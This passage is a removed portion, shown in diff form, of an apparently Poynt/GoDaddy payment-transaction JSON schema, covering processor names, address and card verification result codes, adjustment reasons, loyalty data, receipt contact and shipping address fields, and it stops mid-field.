- "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string", - "description": "Discriminator field representing the type of processor response" - } - }, - "required": [ - "processorType" - ] - }, - "reason": { - "type": "object", - "description": "Reason for this adjustment.", - "properties": { - "program": { - "type": "string", - "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" - ], - "description": "The reason for the transaction - currently only applicable for lodging." - }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } - } - } - }, - "sequence": { - "type": "integer", - "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history." - }, - "signature": { - "format": "byte", - "type": "string" - }, - "signatureCaptured": { - "type": "boolean", - "description": "Shows whether signature was captured for this adjustment." - }, - "systemTraceAuditNumber": { - "type": "string" - }, - "transactionNumber": { - "type": "string" - } - }, - "description": "This object shows a summary of the adjustment." - } - }, - "amountsAdjusted": { - "type": "boolean" - }, - "approvalCode": { - "type": "string", - "description": "An approval code received over the phone (in case of terminal going offline) can be passed here as part of a SALE transaction. This process in the industry is often referred to as forced post or forced sale.", - "maxLength": 32 - }, - "authOnly": { - "type": "boolean", - "description": "This is an in/out field. If not passed, it will default to false. This tells the terminal to only authorize and wait for the merchant to capture it." - }, - "chargebackStatus": { - "type": "string", - "enum": [ - "CREATED", - "DISPUTED", - "MERCHANT_WON", - "MERCHANT_LOST" - ] - }, - "context": { - "description": "[Required] Contains context about the transaction. TransmissionAtLocal must be provided. All other fields are optional.", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "customerLanguage": { - "type": "string", - "description": "The customer's language preference for the transaction.", - "minLength": 2, - "maxLength": 2 - }, - "customerUserId": { - "type": "integer", - "format": "int64", - "description": "A Poynt generated customer id that is returned in the response. This id is only assigned only to a customer performing a card transaction." - }, - "emailReceipt": { - "type": "boolean" - }, - "intent": { - "type": "string", - "description": "This field is used to inform the transaction intent. Client must use this field wherever applicable for better approval rate.", - "enum": [ - "UNSCHEDULED_COF_TXN", - "RECURRING_COF_TXN", - "INSTALLMENT_COF_TXN" - ] - }, - "partialAuthEnabled": { - "type": "boolean" - }, - "partiallyApproved": { - "type": "boolean" - }, - "paymentTokenUsed": { - "type": "boolean", - "description": "This means that transaction was processed with payment token." - }, - "pinCaptured": { - "type": "boolean" - }, - "poyntLoyalty": { - "type": "object", - "properties": { - "externalId": { - "type": "string" - }, - "loyalty": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "campaignDescription": { - "type": "string" - }, - "campaignName": { - "type": "string" - }, - "lastIncrement": { - "type": "integer", - "format": "int64" - }, - "loyaltyType": { - "type": "string" - }, - "loyaltyUnit": { - "type": "string" - }, - "nextTier": { - "type": "string" - }, - "points": { - "type": "integer", - "format": "int64" - }, - "pointsRequired": { - "type": "integer", - "format": "int64" - }, - "rewardDescription": { - "type": "string" - }, - "tier": { - "type": "string" - }, - "totalPoints": { - "type": "integer", - "format": "int64" - }, - "totalSpend": { - "type": "integer", - "format": "int64" - }, - "totalVisits": { - "type": "integer", - "format": "int64" - } - } - } - }, - "loyaltyId": { - "type": "integer", - "format": "int64" - }, - "reward": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "expireAt": { - "type": "string", - "format": "date-time" - }, - "newReward": { - "type": "boolean" - }, - "postText": { - "type": "string" - }, - "preText": { - "type": "string" - }, - "rewardDescription": { - "type": "string" - }, - "rewardId": { - "type": "integer", - "format": "int64" - }, - "status": { - "type": "string" - }, - "type": { - "type": "string" - }, - "value": { - "type": "integer", - "format": "int64" - } - } - } - } - } - }, - "processorOptions": { - "description": "A name/value pair list that could be persisted and later retreived - primarily to store additional payment related data that get passed through to the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorTransactionId": { - "type": "string", - "description": "The capability to enter a transaction id along with approval code.", - "maxLength": 64 - }, - "reason": { - "type": "object", - "properties": { - "program": { - "type": "string", - "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" - ], - "description": "The reason for the transaction - currently only applicable for lodging." - }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } - } - }, - "description": "Reason for transaction - currently only applicable for lodging." - }, - "receiptEmailAddress": { - "type": "string", - "description": "Email address collected from the customer.", - "maxLength": 512 - }, - "receiptPhone": { - "type": "object", - "properties": { - "areaCode": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "extensionNumber": { - "type": "string" - }, - "id": { - "type": "integer", - "format": "int64" - }, - "ituCountryCode": { - "type": "string" - }, - "localPhoneNumber": { - "type": "string" - }, - "primaryDayTime": { - "type": "boolean" - }, - "primaryEvening": { - "type": "boolean" - }, - "status": { - "type": "string", - "enum": [ - "ADDED", - "CONFIRMED" - ] - }, - "type": { - "type": "string", - "enum": [ - "HOME", - "WORK", - "BUSINESS", - "MOBILE", - "FAX", - "PAGER", - "RECEIPT", - "OTHER" - ] - }, - "updatedAt": { - "type": "string", - "format": "date-time" - } - }, - "description": "Phone collected from the customer to SMS receipt." - }, - "references": { - "description": "References to orders/invoices that this transaction is for.", - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", - "description": "Reference to a document (e.g. order or invoice) that this transaction is for", - "properties": { - "value": { - "type": "string", - "maxLength": 128 - }, - "type": { - "type": "string", - "maxLength": 32 - }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 - } - }, - "required": [ - "value", - "type" - ] - } - }, - "reversalVoid": { - "type": "boolean" - }, - "saveCardOnFile": { - "type": "boolean", - "description": "This boolean field is used to inform if user wants to save card on file with this transaction. Client must use this field wherever applicable for better approval rate." - }, - "settled": { - "type": "boolean" - }, - "settlementStatus": { - "type": "string", - "description": "Represents settlement status of transaction.", - "maxLength": 32 - }, - "shippingAddress": { - "type": "object", - "properties": { - "city": { - "type": "string", - "maxLength": 64 - }, - "countryCode": { - "type": "string", - "maxLength": 3 - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "The time (in ISO-8601 format) at which the address was created. E.g. 2014-09-11T23:14:44Z." - }, - "id": { - "type": "integer", - "format": "int64" - }, - "line1": { - "type": "string", - "maxLength": 128 - }, - "line2": { - "type": "string", - "maxLength": 128 - }, - "postalCode": { - "type": "string", - "maxLength": 16 - }, - "postalCodeExtension": { - "type": "string", - "maxLength": 16 - }, - "primary": { - "type": "boolean" - }, - "status": { - "type": "string", - "const": "ADDED" - }, - "territory": { - "type": "string", - "maxLength": 64 - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "TerritoryType enum and territory go hand in hand. This enum specifies what kind of territory is in the territory field. E.g. in the US, this will typically be STATE." - }, - "type": { - "type": "string", - "enum": [ - "HOME", - "WORK", - "BUSINESS", - "TRANSACTION", - "OTHER" - ] - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "description": "The time (in ISO-8601 format) at which the address was updated. E.g. 2014-09-11T23:14:44Z." - } - }, - "description": "A shipping address associated with the transaction." - }, - "signature": { - "description": "Signature collected from the customer.", - "format": "byte", - "type": "string" - }, - "signatureCaptured": { - "type": "boolean", - "description": "This is a response field. This field could be used by the client to inform that signature has or will soon be captured. The server uses this field to inform whether a signature has been captured." - }, - "signatureRequired": { - "type": "boolean" - }, - "status": { - "type": "string", - "enum": [ - "CREATED", - "SAVED", - "AUTHORIZED", - "PENDING", - "PARTIALLY_CAPTURED", - "CAPTURED", - "DECLINED", - "PARTIALLY_CAPTURED_AND_PARTIALLY_REFUNDED", - "PARTIALLY_REFUNDED", - "REFUNDED", - "VOIDED", - "STEP_UP" - ], - "description": "If funding source is CASH, only CAPTURED and REFUNDED are the possible options. The SAVE feature is not applicable to CASH." - }, - "stayType": { - "type": "string", 